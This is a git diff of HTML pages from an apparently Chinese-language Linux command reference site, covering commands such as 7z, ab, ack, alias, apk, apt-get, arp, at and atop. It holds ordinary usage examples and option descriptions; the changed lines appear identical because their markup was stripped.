diff --git a/c/7z.html b/c/7z.html index 2af24edcb9..c8db1941f3 100644 --- a/c/7z.html +++ b/c/7z.html @@ -9,7 +9,7 @@ 7z 命令,Linux 7z 命令详解:拥有极高压缩比的开源压缩软件。用 7-Zip 解压过:zip、iso、7z压缩文件。 - Linux 命令搜索引擎 - + @@ -120,7 +120,7 @@ customElements.define('markdown-style', MarkdownStyle);在 Linux 中输入以下命令安装 7-Zip。

# Ubuntu 系统
 apt-get update
-apt-get install p7zip-full -y
+apt-get install p7zip-full -y
 

2、将压缩文件 text.7z 在指定目录(/home/text)下解压缩。

# 注意 -o 用来指定解压缩文件存放目录,-o 后是没有空格的,直接接目录
-7z x text.7z -r -o/home/text
+7z x text.7z -r -o/home/text
 

3、将文件 /home/text 压缩成 text.7z。

-
7z a text.7z -r /home/text
+
7z a text.7z -r /home/text
 

4、查看压缩包 text.7z 内容,但不解压。

@@ -147,7 +147,7 @@ apt-get install p7zip-full -y " class="copied">

官网

更多安装使用方法可以访问官网学习:https://www.7-zip.org/

- - + + \ No newline at end of file diff --git a/c/ab.html b/c/ab.html index 77a139dcdc..33439265a4 100644 --- a/c/ab.html +++ b/c/ab.html @@ -9,7 +9,7 @@ ab 命令,Linux ab 命令详解:Apache服务器的性能测试工具 - Linux 命令搜索引擎 - + @@ -118,12 +118,12 @@ customElements.define('markdown-style', MarkdownStyle);补充说明

ab命令 是一个测试你 Apache http 服务器的工具,你可以通过这个工具,指定一个单位时间内向 apache 发出的请求数量来看看你的 Apache 和机器配合的性能如何。

语法

-
ab [ -A auth-username:password ] [ -c concurrency ] [ -C cookie-name=value
-] [ -d ] [ -e csv-file ] [ -g gnuplot-file ] [ -h ] [ -H custom-header ] [
--i  ]  [  -k  ]  [  -n  requests  ] [ -p POST-file ] [ -P proxy-auth-user‐
-name:password ] [ -q ] [ -s ] [ -S ] [ -t timelimit ] [ -T content-type  ]
-[  -v verbosity] [ -V ] [ -w ] [ -x <table>-attributes ] [ -X proxy[:port]
-]  [  -y  <tr>-attributes  ]  [  -z   <td>-attributes   ]   [http://]host‐
+
ab [ -A auth-username:password ] [ -c concurrency ] [ -C cookie-name=value
+] [ -d ] [ -e csv-file ] [ -g gnuplot-file ] [ -h ] [ -H custom-header ] [
+-i  ]  [  -k  ]  [  -n  requests  ] [ -p POST-file ] [ -P proxy-auth-user‐
+name:password ] [ -q ] [ -s ] [ -S ] [ -t timelimit ] [ -T content-type  ]
+[  -v verbosity] [ -V ] [ -w ] [ -x <table>-attributes ] [ -X proxy[:port]
+]  [  -y  <tr>-attributes  ]  [  -z   <td>-attributes   ]   [http://]host‐
 name[:port]/path
 

选项

-
-A auth-username:password
+
-A auth-username:password
       #  支持基本的验证证书,用户名和密码之间使用"冒号"                    :
       # 分隔开,ab将以明文方式传送过去.不管服务器是不是需要
       # ,也就是说你的服务器需要支持401认证.
 
--c concurrency
+-c concurrency
       # 同时向服务器端发送的请求数目,默认状态下是一次 只执行一个http请求.
 
--C cookie-name=value
+-C cookie-name=value
       # Add a Cookie: line to the request. The argument is typically in the
       # form of a name=value pair. This field is repeatable.
 
--d    #  Do not display  the  "percentage  served  within  XX  [ms]  table".
+-d    #  Do not display  the  "percentage  served  within  XX  [ms]  table".
       # (legacy support).
 
--e csv-file
+-e csv-file
       # Write  a  Comma  separated value (CSV) file which contains for each
       # percentage (from 1% to 100%) the time (in milli seconds) it took to
       # serve  that percentage of the requests. This is usually more useful
       # than the 'gnuplot' file; as the results are already 'binned'.
 
--g gnuplot-file
+-g gnuplot-file
       # Write all measured values out as a 'gnuplot' or TSV  (Tab  separate
       # values)  file.  This file can easily be imported into packages like
       # Gnuplot, IDL, Mathematica, Igor or even Excell. The labels  are  on
       # the first line of the file.
--h    # 显示使用说明
--H custom-header
+-h    # 显示使用说明
+-H custom-header
       # 向请求包追加附加的标题字串.此参数应该是有效的标题         行(header
       # line)形式,通常使用冒号":"来分隔有效配对 (valid  pair)例如  'Accept-
       # Encoding: zip/zop;8 bit';
 
--i    # 使用一个 http 头(HEAD) 来替换 GET方法.不可以掺入POST 方法
+-i    # 使用一个 http 头(HEAD) 来替换 GET方法.不可以掺入POST 方法
 
--k    #  允许http      KeepAlive      ;也就是说执行多个请求在一个      http
+-k    #  允许http      KeepAlive      ;也就是说执行多个请求在一个      http
       # 会话当中,默认是不允许的也就是no KeepAlive啦;)
 
--n requests
+-n requests
       # 执行一次测试会话的时候所发出的请求数目,默认是执行一个单一的请求
       # 当然了这样的测试结果也就没什么意义了
 
--p POST-file
+-p POST-file
       # 测试程序也就是ab,将向Apache server发送带有HTTP POST 的请求.
 
--P proxy-auth-username:password
+-P proxy-auth-username:password
       # 当需要通过代理测试一台 HTTP 服务器的时候而你的代理
       # 又需要用户名密码验证,这时你可以使用这个选项,同样
       # 用户名与密码之间使用冒号":"分隔开,ab将之以明文的方式
       # 发送出去,当然,前提是你的代理是处于407认证状态的
 
--q    #  When processing more than 150 requests, ab outputs a progress count
+-q    #  When processing more than 150 requests, ab outputs a progress count
       # on  stderr  every  10% or 100 requests or so. The -q flag will sup‐
       # press these messages.
 
--s    #  When compiled in (ab -h will show you) use the SSL protected  https
+-s    #  When compiled in (ab -h will show you) use the SSL protected  https
       # rather  than  the  http  protocol. This feature is experimental and
       # very rudimentary. You probably do not want to use it.
 
--S    #  Do not display the median and standard deviation values,  nor  dis‐
+-S    #  Do not display the median and standard deviation values,  nor  dis‐
       # play  the  warning/error  messages  when the average and median are
       # more than one or two times the standard deviation  apart.  And  de‐
       # fault to the min/avg/max values. (legacy support).
 
--t timelimit
+-t timelimit
       #  设置测试的时间的长短,使用这个选项ab将自动设置
       # 测试请求会话数目为50000,然后以你设置的时间为
       # 固定周期.默认状态下是没有时限的,也就是直到完成
       # 你所设置的请求数目为止.
 
--T content-type
+-T content-type
       # 内容类型标头,使用在POST数据的时候.
 
--v verbosity
+-v verbosity
       # 设置冗余级别,4级打印出每个请求标头的详细信息,
       # 3级打印出回应代码(例如,404,200),2级打印出警告 信息和指示消息
 
--V    # 显示版本号并且退出
--w    # 打印输出结果到HTML表中. 默认的表是两列n行白底黑框
+-V    # 显示版本号并且退出
+-w    # 打印输出结果到HTML表中. 默认的表是两列n行白底黑框
 
--x <table>-attributes
+-x <table>-attributes
       # 使用字串来描述表的属性,该属性字串应该插入到<table 这里 >
 
--X proxy[:port]
+-X proxy[:port]
       # Use a proxy server for the requests.
 
--y <tr>-attributes
+-y <tr>-attributes
       # 用于生成html表格每行的属性名 (<tr>)
 
--z <td>-attributes
+-z <td>-attributes
       # 用于生成html表格每列的属性名 (<td>)
 

参数

主机:被测试主机。

- - + + \ No newline at end of file diff --git a/c/accept.html b/c/accept.html index c58d50ad3c..d02c2e310d 100644 --- a/c/accept.html +++ b/c/accept.html @@ -9,7 +9,7 @@ accept 命令,Linux accept 命令详解:指示打印系统接受发往指定目标打印机的打印任务 - Linux 命令搜索引擎 - + @@ -131,7 +131,7 @@ customElements.define('markdown-style', MarkdownStyle);

参数

目标:指定目标打印机。

- - + + \ No newline at end of file diff --git a/c/ack.html b/c/ack.html index 5ae8adc031..9c2b393605 100644 --- a/c/ack.html +++ b/c/ack.html @@ -9,7 +9,7 @@ ack 命令,Linux ack 命令详解:比grep好用的文本搜索工具 - Linux 命令搜索引擎 - + @@ -147,9 +147,9 @@ apk install ack

Searching 代码搜索
Search output 搜索结果处理
File presentation 文件展示
File finding 文件查找
File inclusion/exclusion 文件过滤

grep常用操作

-
grep -r 'hello_world' # 简单用法
+
grep -r 'hello_world' # 简单用法
 grep '^hello_world' . # 简单正则
-ls -l | grep .py # 管道用法
+ls -l | grep .py # 管道用法
 

Search File

对搜索结果进行处理,比如只显示一个文件的一个匹配项,或者xxx

-
ack-grep --line=1       # 输出所有文件第二行
-ack-grep -l 'hello'     # 包含的文件名
-ack-grep -L 'print'     # 非包含文件名
+
ack-grep --line=1       # 输出所有文件第二行
+ack-grep -l 'hello'     # 包含的文件名
+ack-grep -L 'print'     # 非包含文件名
 

File presentation

输出的结果是以什么方式展示呢,这个部分有几个参数可以练习下

-
ack-grep hello --pager='less -R'    # 以less形式展示
-ack-grep hello --noheading      # 不在头上显示文件
-ack-grep hello --nocolor        # 不对匹配字符着色
+
ack-grep hello --pager='less -R'    # 以less形式展示
+ack-grep hello --noheading      # 不在头上显示文件
+ack-grep hello --nocolor        # 不对匹配字符着色
 

File finding

没错,它可以查找文件,以省去你要不断的结合find和grep的麻烦,虽然在linux的思想是一个工具做好一件事。

-
ack-grep -f hello.py     # 查找全匹配文件
-ack-grep -g hello.py$    # 查找正则匹配文件
-ack-grep -g hello  --sort-files     # 查找然后排序
+
ack-grep -f hello.py     # 查找全匹配文件
+ack-grep -g hello.py$    # 查找正则匹配文件
+ack-grep -g hello  --sort-files     # 查找然后排序
 

File Inclusion/Exclusion

文件过滤,个人觉得这是一个很不错的功能。如果你曾经在搜索项目源码是不小心命中日志中的某个关键字的话,你会觉得这个有用。

-
ack-grep --python hello       # 查找所有python文件
-ack-grep -G hello.py$ hello   # 查找匹配正则的文件
+
ack-grep --python hello       # 查找所有python文件
+ack-grep -G hello.py$ hello   # 查找匹配正则的文件
 
@@ -205,7 +205,7 @@ ack-grep -G hello.py$ hello # 查找匹配正则的文件 - - + + \ No newline at end of file diff --git a/c/alias.html b/c/alias.html index eb9ea2a973..0af382d12b 100644 --- a/c/alias.html +++ b/c/alias.html @@ -9,7 +9,7 @@ alias 命令,Linux alias 命令详解:定义或显示别名。 - Linux 命令搜索引擎 - + @@ -140,7 +140,7 @@ value(可选):别名的值。

例子

# 显示全部已定义的别名
 alias
-alias -p
+alias -p
 
 # 显示已定义的别名(假设当前环境存在以下别名)
 alias ls
@@ -168,7 +168,7 @@ alias ls='ls --color=never' grep='grep --color=never'
 

请注意,以下内容可能与您实际使用的系统有出入:

在CentOS7下,这个文件是/etc/bash.bashrc。此外在CentOS7下,细看~/.bashrc文件,会发现有这样一段代码:

-
if [ -f ~/.bash_aliases ]; then
+  
if [ -f ~/.bash_aliases ]; then
   . ~/.bash_aliases
 fi
 
# 为方便演示,删除全部别名 -unalias -a +unalias -a # 没有用单引号扩起 -alias rm=rm -rf +alias rm=rm -rf # 执行命令后报错 bash: alias: -rf: not found # 这时使用alias查看rm的别名时返回 alias rm='rm'
# 更具有迷惑性的例子
 # 为方便演示,删除全部别名
-unalias -a
+unalias -a
 # 仍然没有用单引号括起
-alias ls=ls --color=never
+alias ls=ls --color=never
 # 执行命令后看起来没有报错
 
 # 使用alias查看全部别名会发现运行结果如下:
@@ -238,7 +238,7 @@ alias ls=ls --color=never
 
 

其他参考链接

Linux命令详解:[8]alias创建自己的命令

- - + + \ No newline at end of file diff --git a/c/apachectl.html b/c/apachectl.html index 189b18f681..9ac85c3992 100644 --- a/c/apachectl.html +++ b/c/apachectl.html @@ -9,7 +9,7 @@ apachectl 命令,Linux apachectl 命令详解:Apache服务器前端控制工具 - Linux 命令搜索引擎 - + @@ -132,7 +132,7 @@ customElements.define('markdown-style', MarkdownStyle);status:显示服务器摘要的状态信息;
  • stop:停止Apache服务器。
  • - - + + \ No newline at end of file diff --git a/c/apk.html b/c/apk.html index 65c461bc4c..2384b72b9e 100644 --- a/c/apk.html +++ b/c/apk.html @@ -9,7 +9,7 @@ apk 命令,Linux apk 命令详解:Alpine Linux 下的包管理工具 - Linux 命令搜索引擎 - + @@ -133,16 +133,16 @@ apk del openssh openntp vim

    upgrade命令升级系统已安装的所以软件包(一般包括内核),当然也可指定仅升级部分软件包(通过-u或–upgrade选择指定)。

    apk update # 更新最新本地镜像源
     apk upgrade # 升级软件
    -apk add --upgrade busybox # 指定升级部分软件包
    +apk add --upgrade busybox # 指定升级部分软件包
     

    搜索

    apk search # 查找所以可用软件包
    -apk search -v # 查找所以可用软件包及其描述内容
    -apk search -v 'acf*' # 通过软件包名称查找软件包
    -apk search -v -d 'docker' # 通过描述文件查找特定的软件包
    +apk search -v # 查找所以可用软件包及其描述内容
    +apk search -v 'acf*' # 通过软件包名称查找软件包
    +apk search -v -d 'docker' # 通过描述文件查找特定的软件包
     
    查看包信息

    info命令用于显示软件包的信息。

    apk info # 列出所有已安装的软件包
    -apk info -a zlib # 显示完整的软件包信息
    +apk info -a zlib # 显示完整的软件包信息
     apk info --who-owns /sbin/lbu # 显示指定文件属于的包
     
    笔记

    还是蛮喜欢 alpine 的,简单纯粹

    apk add iproute2 # ss vs netstat
    -ss -ptl
    +ss -ptl
     apk add drill # drill vs nslookup&dig
     
     crond # 开启 cron 服务
    -crontab -l -e
    +crontab -l -e
     
     apk add xxx
    -apk search -v xxx
    -apk info -a xxx
    +apk search -v xxx
    +apk info -a xxx
     apk info
    -echo -e "http://mirrors.aliyun.com/alpine/v3.6/main\nhttp://mirrors.aliyun.com/alpine/v3.6/community" > /etc/apk/repositories
    +echo -e "http://mirrors.aliyun.com/alpine/v3.6/main\nhttp://mirrors.aliyun.com/alpine/v3.6/community" > /etc/apk/repositories
     apk update
     
     # storage
    @@ -178,7 +178,7 @@ apk info --who-owns /sbin/lbu # 显示指定文件属于的包
     
     # network
     echo "shortname" > /etc/hostname
    -hostname -F /etc/hostname
    +hostname -F /etc/hostname
     /etc/hosts
     /etc/resolv.conf # conig DNS
     modprobe ipv6 # enable ipv6
    @@ -193,14 +193,14 @@ apk info --who-owns /sbin/lbu # 显示指定文件属于的包
     
     # post-install
     /etc/apk/repositories
    -apk add cherokee --update-cache --repository http://dl-3.alpinelinux.org/alpine/edge/testing/ --allow-untrusted
    -apk search -v --description 'NTP' # show description and search from description
    -apk info -a zlib
    +apk add cherokee --update-cache --repository http://dl-3.alpinelinux.org/alpine/edge/testing/ --allow-untrusted
    +apk search -v --description 'NTP' # show description and search from description
    +apk info -a zlib
     apk info -vv|sort
    -apk info -r -R # require / depency
    -apk version -v -l '<' # show available updates
    -apk upgrade -U -a
    -apk add -u xxx # update xxx
    +apk info -r -R # require / depency
    +apk version -v -l '<' # show available updates
    +apk upgrade -U -a
    +apk add -u xxx # update xxx
     
     /etc/runlevels # runlevel
     apk add openrc # use openrc for init system
    @@ -231,7 +231,7 @@ apk info --who-owns /sbin/lbu # 显示指定文件属于的包
     rc-service docker start
     apk add py-pip
     pip install docker-compose
    -ln -s /usr/bin/docker-compose /usr/bin/doc
    +ln -s /usr/bin/docker-compose /usr/bin/doc
     
     # application
     apk add openssh # ssh
    @@ -320,7 +320,7 @@ rc-update add sshd
     /etc/sshd_config
     apk add dropbear # another openssh implementation
     " class="copied">
    - - + + \ No newline at end of file diff --git a/c/apropos.html b/c/apropos.html index de812ef97c..2e67bf5ef1 100644 --- a/c/apropos.html +++ b/c/apropos.html @@ -9,7 +9,7 @@ apropos 命令,Linux apropos 命令详解:在 whatis 数据库中查找字符串 - Linux 命令搜索引擎 - + @@ -119,7 +119,7 @@ customElements.define('markdown-style', MarkdownStyle);apropos命令 在一些特定的包含系统命令的简短描述的数据库文件里查找关键字,然后把结果送到标准输出。 

    如果你不知道完成某个特定任务所需要命令的名称,可以使用一个关键字通过Linux apropos实用程序来搜索它。该实用程序可以搜索关键字并且显示所有包含匹配项的man页面的简短描述。另外,使用man实用程序和-k(关键字)选项,可以得到和用Linux apropos实用程序相同的结果(实际上是相同的命令)。

    语法

    -
    apropos [-dalhvV] -e|-[w|-r] [-s section] [-m system[,...]] [-M path] [-L locale] -C [file] keyword ...
    +
    apropos [-dalhvV] -e|-[w|-r] [-s section] [-m system[,...]] [-M path] [-L locale] -C [file] keyword ...
     

    选项

    @@ -130,11 +130,11 @@ customElements.define('markdown-style', MarkdownStyle);-e, --exact:每个keyword将精确匹配手册页名字和描述。 -a, --and:只显示匹配所有keyword的手册页和描述。默认显示匹配任何keyword的项。 -l, --long:不根据终端宽度缩减输出。 --s section, --section section:只查找指定的手册section。 --m system[,...], --systems=system[,...]:用于查找其它操作系统的手册页。 --M path, --manpath=path:指定从其它以冒号分隔的手册页层次查找。默认使用$MANPATH环境变量。这个选项覆盖$MANPATH的内容。 --L locale, --locale=locale:apropos调用C函数setlocale来得到当前本地化信息,包括$LC_MESSAGE$LANG。使用该选项提供一个locale字符串来临时更改本地化信息。 --C file, --config-file=file:使用这个用户配置文件而不是默认的~/.manpath。 +-s section, --section section:只查找指定的手册section。 +-m system[,...], --systems=system[,...]:用于查找其它操作系统的手册页。 +-M path, --manpath=path:指定从其它以冒号分隔的手册页层次查找。默认使用$MANPATH环境变量。这个选项覆盖$MANPATH的内容。 +-L locale, --locale=locale:apropos调用C函数setlocale来得到当前本地化信息,包括$LC_MESSAGE$LANG。使用该选项提供一个locale字符串来临时更改本地化信息。 +-C file, --config-file=file:使用这个用户配置文件而不是默认的~/.manpath。 -h, --help:打印帮助信息并退出。 -V, --version:打印版本信息并退出。

    查找手册页名字和描述中包含emacs和vi的手册页:

    -
    apropos -a emacs vi
    +
    apropos -a emacs vi
     
    - - + + \ No newline at end of file diff --git a/c/apt-get.html b/c/apt-get.html index dbe79d856d..1104df6469 100644 --- a/c/apt-get.html +++ b/c/apt-get.html @@ -9,7 +9,7 @@ apt-get 命令,Linux apt-get 命令详解:Debian Linux发行版中的APT软件包管理工具 - Linux 命令搜索引擎 - + @@ -192,7 +192,7 @@ apt-get clean # 删除软件包的安装包
    apt-get autoclean
     
    - - + + \ No newline at end of file diff --git a/c/apt-key.html b/c/apt-key.html index 4ffff60115..edbb1391ff 100644 --- a/c/apt-key.html +++ b/c/apt-key.html @@ -9,7 +9,7 @@ apt-key 命令,Linux apt-key 命令详解:管理Debian Linux系统中的软件包密钥 - Linux 命令搜索引擎 - + @@ -133,7 +133,7 @@ apt-key add keyname # 把下载的key添加到本地trusted数据库中。 apt-key del keyname # 从本地trusted数据库删除key。 apt-key update # 更新本地trusted数据库,删除过期没用的key。 " class="copied">
    - - + + \ No newline at end of file diff --git a/c/apt-sortpkgs.html b/c/apt-sortpkgs.html index 300a288d99..49c97b5383 100644 --- a/c/apt-sortpkgs.html +++ b/c/apt-sortpkgs.html @@ -9,7 +9,7 @@ apt-sortpkgs 命令,Linux apt-sortpkgs 命令详解:Debian Linux下对软件包索引文件进行排序的工具 - Linux 命令搜索引擎 - + @@ -129,7 +129,7 @@ customElements.define('markdown-style', MarkdownStyle);

    参数

    文件:指定要排序的包含debian包信息的索引文件。

    - - + + \ No newline at end of file diff --git a/c/aptitude.html b/c/aptitude.html index 7a1a11dc45..9c9d21ee9b 100644 --- a/c/aptitude.html +++ b/c/aptitude.html @@ -9,7 +9,7 @@ aptitude 命令,Linux aptitude 命令详解:Debian Linux系统中软件包管理工具 - Linux 命令搜索引擎 - + @@ -161,7 +161,7 @@ aptitude clean # 删除下载的包文件 aptitude autoclean # 仅删除过期的包文件 " class="copied">

    当然,你也可以在文本界面模式中使用 aptitude。

    - - + + \ No newline at end of file diff --git a/c/ar.html b/c/ar.html index cccefc1295..e2eec17bbf 100644 --- a/c/ar.html +++ b/c/ar.html @@ -9,7 +9,7 @@ ar 命令,Linux ar 命令详解:建立或修改备存文件,或是从备存文件中抽取文件 - Linux 命令搜索引擎 - + @@ -120,7 +120,7 @@ customElements.define('markdown-style', MarkdownStyle);语法
    ar [-]{dmpqrtx}[abcfilNoPsSuvV] [membername] [count] archive files...
     Usage: ar [emulation options] [-]{dmpqrstx}[abcDfilMNoPsSTuvV] [--plugin <name>] [member-name] [count] archive-file file...
    -       ar -M [<mri-脚本]
    +       ar -M [<mri-脚本]
     

    选项参数

    -
    --plugin <p> - load the specified plugin
    +
    --plugin <p> - load the specified plugin
     

    ar:支持的目标: elf64-x86-64 elf32-i386 elf32-x86-64 a.out-i386-linux pei-i386 pei-x86-64 elf64-l1om elf64-k1om elf64-little elf64-big elf32-little elf32-big plugin srec symbolsrec verilog tekhex binary ihex

    @@ -353,7 +353,7 @@ d.c [root@localhost ~]# ar t two.bak d.c " class="copied">
    - - + + \ No newline at end of file diff --git a/c/arch.html b/c/arch.html index 5cc16e3d47..3666269e3c 100644 --- a/c/arch.html +++ b/c/arch.html @@ -9,7 +9,7 @@ arch 命令,Linux arch 命令详解:显示当前主机的硬件架构类型 - Linux 命令搜索引擎 - + @@ -124,8 +124,8 @@ customElements.define('markdown-style', MarkdownStyle);打印机器架构信息;arch 命令输出结果有:i386、i486、i586、alpha、sparc、arm、m68k、mips、ppc、i686等。

    选项

    -
    --help       显示帮助信息并退出。
    ---version    显示版本信息并退出。
    +
    --help       显示帮助信息并退出。
    +--version    显示版本信息并退出。
     
    @@ -144,7 +144,7 @@ x86_64

    该命令是GNU coreutils包中的命令,相关的帮助信息请查看man -s 1 archinfo coreutils 'arch invocation'

    - - + + \ No newline at end of file diff --git a/c/arj.html b/c/arj.html index cbe6a9ff61..d3980768f9 100644 --- a/c/arj.html +++ b/c/arj.html @@ -9,7 +9,7 @@ arj 命令,Linux arj 命令详解:用于创建和管理.arj压缩包 - Linux 命令搜索引擎 - + @@ -126,7 +126,7 @@ customElements.define('markdown-style', MarkdownStyle);操作指令:对 .arj 压缩包执行的操作指令;
  • 压缩包名称:指定要操作的arj压缩包名称。
  • - - + + \ No newline at end of file diff --git a/c/arp.html b/c/arp.html index 22f6c0c1ac..68b6973e2f 100644 --- a/c/arp.html +++ b/c/arp.html @@ -9,7 +9,7 @@ arp 命令,Linux arp 命令详解:arp 命令用于显示和修改 IP 到 MAC 转换表 - Linux 命令搜索引擎 - + @@ -128,16 +128,16 @@ customElements.define('markdown-style', MarkdownStyle);

    选项

    -
    -a # 主机 :显示 arp 缓冲区的所有条目;
    --H # 地址类型 :指定 arp 指令使用的地址类型;
    --d # 主机 :从 arp 缓冲区中删除指定主机的 arp 条目;
    --D # 使用指定接口的硬件地址;
    --e # 以 Linux 的显示风格显示 arp 缓冲区中的条目;
    --i # 接口 :指定要操作 arp 缓冲区的网络接口;
    --s # 主机 MAC 地址 :设置指定的主机的 IP 地址与 MAC 地址的静态映射;
    --n # 以数字方式显示 arp 缓冲区中的条目;
    --v # 显示详细的 arp 缓冲区条目,包括缓冲区条目的统计信息;
    --f # 文件 :设置主机的 IP 地址与 MAC 地址的静态映射。
    +
    -a # 主机 :显示 arp 缓冲区的所有条目;
    +-H # 地址类型 :指定 arp 指令使用的地址类型;
    +-d # 主机 :从 arp 缓冲区中删除指定主机的 arp 条目;
    +-D # 使用指定接口的硬件地址;
    +-e # 以 Linux 的显示风格显示 arp 缓冲区中的条目;
    +-i # 接口 :指定要操作 arp 缓冲区的网络接口;
    +-s # 主机 MAC 地址 :设置指定的主机的 IP 地址与 MAC 地址的静态映射;
    +-n # 以数字方式显示 arp 缓冲区中的条目;
    +-v # 显示详细的 arp 缓冲区条目,包括缓冲区条目的统计信息;
    +-f # 文件 :设置主机的 IP 地址与 MAC 地址的静态映射。
     

    添加静态 arp 映射

    -
    arp -s IP MAC-ADDRESS
    -arp -s 192.168.1.1 00:b1:b2:b3:b4:b5
    +
    arp -s IP MAC-ADDRESS
    +arp -s 192.168.1.1 00:b1:b2:b3:b4:b5
     

    删除 arp 缓存条目

    -
    arp -d 192.168.1.1
    +
    arp -d 192.168.1.1
     
    - - + + \ No newline at end of file diff --git a/c/arpd.html b/c/arpd.html index 2736cf82e3..e37b612cf8 100644 --- a/c/arpd.html +++ b/c/arpd.html @@ -9,7 +9,7 @@ arpd 命令,Linux arpd 命令详解:收集免费ARP信息 - Linux 命令搜索引擎 - + @@ -139,14 +139,14 @@ customElements.define('markdown-style', MarkdownStyle);网络接口:指定网络接口。

    实例

    启动arpd进程:

    -
    arpd -b /var/tmp/arpd.db
    +
    arpd -b /var/tmp/arpd.db
     

    运行一段时间后,查看结果:

    -
    arpd -l -b /var/tmp/arpd.db
    +
    arpd -l -b /var/tmp/arpd.db
     
    - - + + \ No newline at end of file diff --git a/c/arping.html b/c/arping.html index d3e8218fb5..20baa41777 100644 --- a/c/arping.html +++ b/c/arping.html @@ -9,7 +9,7 @@ arping 命令,Linux arping 命令详解:通过发送ARP协议报文测试网络 - Linux 命令搜索引擎 - + @@ -125,10 +125,10 @@ customElements.define('markdown-style', MarkdownStyle);-b:用于发送以太网广播帧(FFFFFFFFFFFF)。arping一开始使用广播地址,在收到响应后就使用unicast地址。 -q:quiet output不显示任何信息; -f:表示在收到第一个响应报文后就退出; --w timeout:设定一个超时时间,单位是秒。如果到了指定时间,arping还没到完全收到响应则退出; --c count:表示发送指定数量的ARP请求数据包后就停止。如果指定了deadline选项,则arping会等待相同数量的arp响应包,直到超时为止; --s source:设定arping发送的arp数据包中的SPA字段的值。如果为空,则按下面处理,如果是DAD模式(冲突地址探测),则设置为0.0.0.0,如果是Unsolicited ARP模式(Gratutious ARP)则设置为目标地址,否则从路由表得出; --I interface:设置ping使用的网络接口。 +-w timeout:设定一个超时时间,单位是秒。如果到了指定时间,arping还没到完全收到响应则退出; +-c count:表示发送指定数量的ARP请求数据包后就停止。如果指定了deadline选项,则arping会等待相同数量的arp响应包,直到超时为止; +-s source:设定arping发送的arp数据包中的SPA字段的值。如果为空,则按下面处理,如果是DAD模式(冲突地址探测),则设置为0.0.0.0,如果是Unsolicited ARP模式(Gratutious ARP)则设置为目标地址,否则从路由表得出; +-I interface:设置ping使用的网络接口。
    - - + + \ No newline at end of file diff --git a/c/arptables.html b/c/arptables.html index ac7591aa64..b80206a343 100644 --- a/c/arptables.html +++ b/c/arptables.html @@ -9,7 +9,7 @@ arptables 命令,Linux arptables 命令详解:管理ARP包过滤规则表 - Linux 命令搜索引擎 - + @@ -149,7 +149,7 @@ customElements.define('markdown-style', MarkdownStyle);
    - - + + \ No newline at end of file diff --git a/c/arpwatch.html b/c/arpwatch.html index c5c559f811..19c81613ee 100644 --- a/c/arpwatch.html +++ b/c/arpwatch.html @@ -9,7 +9,7 @@ arpwatch 命令,Linux arpwatch 命令详解:监听网络上ARP的记录 - Linux 命令搜索引擎 - + @@ -131,7 +131,7 @@ customElements.define('markdown-style', MarkdownStyle);:指定监听ARP的接口,预设的接口为eth0; -r<记录文件>:从指定的文件中读取ARP记录,而不是从网络上监听。 " class="copied">
    - - + + \ No newline at end of file diff --git a/c/as.html b/c/as.html index 1d41b194e7..aa23a30d31 100644 --- a/c/as.html +++ b/c/as.html @@ -9,7 +9,7 @@ as 命令,Linux as 命令详解:汇编语言编译器 - Linux 命令搜索引擎 - + @@ -155,7 +155,7 @@ customElements.define('markdown-style', MarkdownStyle);

    参数

    汇编文件:指定要汇编的源文件。

    - - + + \ No newline at end of file diff --git a/c/at.html b/c/at.html index c3b6b25506..986816337c 100644 --- a/c/at.html +++ b/c/at.html @@ -9,7 +9,7 @@ at 命令,Linux at 命令详解:在指定时间执行一个任务 - Linux 命令搜索引擎 - + @@ -119,7 +119,7 @@ customElements.define('markdown-style', MarkdownStyle);at命令 用于在指定时间执行命令。at允许使用一套相当复杂的指定时间的方法。它能够接受在当天的hh:mm(小时:分钟)式的时间指定。假如该时间已过去,那么就放在第二天执行。当然也能够使用midnight(深夜),noon(中午),teatime(饮茶时间,一般是下午4点)等比较模糊的 词语来指定时间。用户还能够采用12小时计时制,即在时间后面加上AM(上午)或PM(下午)来说明是上午还是下午。 也能够指定命令执行的具体日期,指定格式为month day(月 日)或mm/dd/yy(月/日/年)或dd.mm.yy(日.月.年)。指定的日期必须跟在指定时间的后面。

    上面介绍的都是绝对计时法,其实还能够使用相对计时法,这对于安排不久就要执行的命令是很有好处的。指定格式为:now + count time-units,now就是当前时间,time-units是时间单位,这里能够是minutes(分钟)、hours(小时)、days(天)、weeks(星期)。count是时间的数量,究竟是几天,还是几小时,等等。 更有一种计时方法就是直接使用today(今天)、tomorrow(明天)来指定完成命令的时间。

    语法

    -
    at [-V] [-q 队列] [-f 文件] [-mldbv] 时间 at -c 作业 [作业...]
    +
    at [-V] [-q 队列] [-f 文件] [-mldbv] 时间 at -c 作业 [作业...]
     

    选项

    @@ -195,7 +195,7 @@ job 8 at 2013-01-06 17:20 umask 22此处省略n个字符 date >/root/2013.log " class="copied">
    - - + + \ No newline at end of file diff --git a/c/atop.html b/c/atop.html index 29d9f7925b..ae8442a34d 100644 --- a/c/atop.html +++ b/c/atop.html @@ -9,7 +9,7 @@ atop 命令,Linux atop 命令详解:监控Linux系统资源与进程的工具 - Linux 命令搜索引擎 - + @@ -180,7 +180,7 @@ customElements.define('markdown-style', MarkdownStyle);设定日志失效期限,自动删除一段时间前的日志文件

    其实atop开发者已经提供了以上日志保存方式,相应的atop.daily脚本可以在源码目录下找到。在atop.daily脚本中,我们可以通过修改INTERVAL变量改变atop信息采样周期(默认为10分钟);通过修改以下命令中的数值改变日志保存天数(默认为28天):

    -
    (sleep 3; find $LOGPATH -name 'atop_*' -mtime +28 -exec rm {} \; )& 
    +
    (sleep 3; find $LOGPATH -name 'atop_*' -mtime +28 -exec rm {} \; )& 
     

    最后,我们修改cron文件,每天凌晨执行atop.daily脚本:

    @@ -191,7 +191,7 @@ customElements.define('markdown-style', MarkdownStyle);
  • 官方手册
  • - - + + \ No newline at end of file diff --git a/c/atq.html b/c/atq.html index 8fc7a354dd..4b5c226423 100644 --- a/c/atq.html +++ b/c/atq.html @@ -9,7 +9,7 @@ atq 命令,Linux atq 命令详解:列出当前用户的at任务列表 - Linux 命令搜索引擎 - + @@ -143,7 +143,7 @@ job 3 at Fri Apr 26 12:56:00 2013 atq 3 Fri Apr 26 12:56:00 2013 a root " class="copied">
    - - + + \ No newline at end of file diff --git a/c/atrm.html b/c/atrm.html index b2db715abb..95319f3d6c 100644 --- a/c/atrm.html +++ b/c/atrm.html @@ -9,7 +9,7 @@ atrm 命令,Linux atrm 命令详解:删除待执行任务队列中的指定任务 - Linux 命令搜索引擎 - + @@ -140,7 +140,7 @@ customElements.define('markdown-style', MarkdownStyle);
